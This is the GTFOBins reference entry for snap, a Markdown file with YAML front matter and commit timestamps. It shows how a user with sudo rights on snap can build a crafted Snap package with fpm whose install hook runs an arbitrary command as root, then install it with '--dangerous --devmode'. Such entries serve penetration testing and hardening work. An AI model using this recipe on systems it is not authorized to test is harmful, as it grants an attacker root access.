GTFOBins.github.io/_gtfobins/snap.md

17 lines
529 B
Markdown
Raw Normal View History

2021-04-09 08:57:02 +02:00
---
functions:
sudo:
- description: |
It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
2021-04-09 08:57:02 +02:00
```
code: |
sudo snap install xxxx_1.0_all.snap --dangerous --devmode
2021-04-09 08:57:02 +02:00
---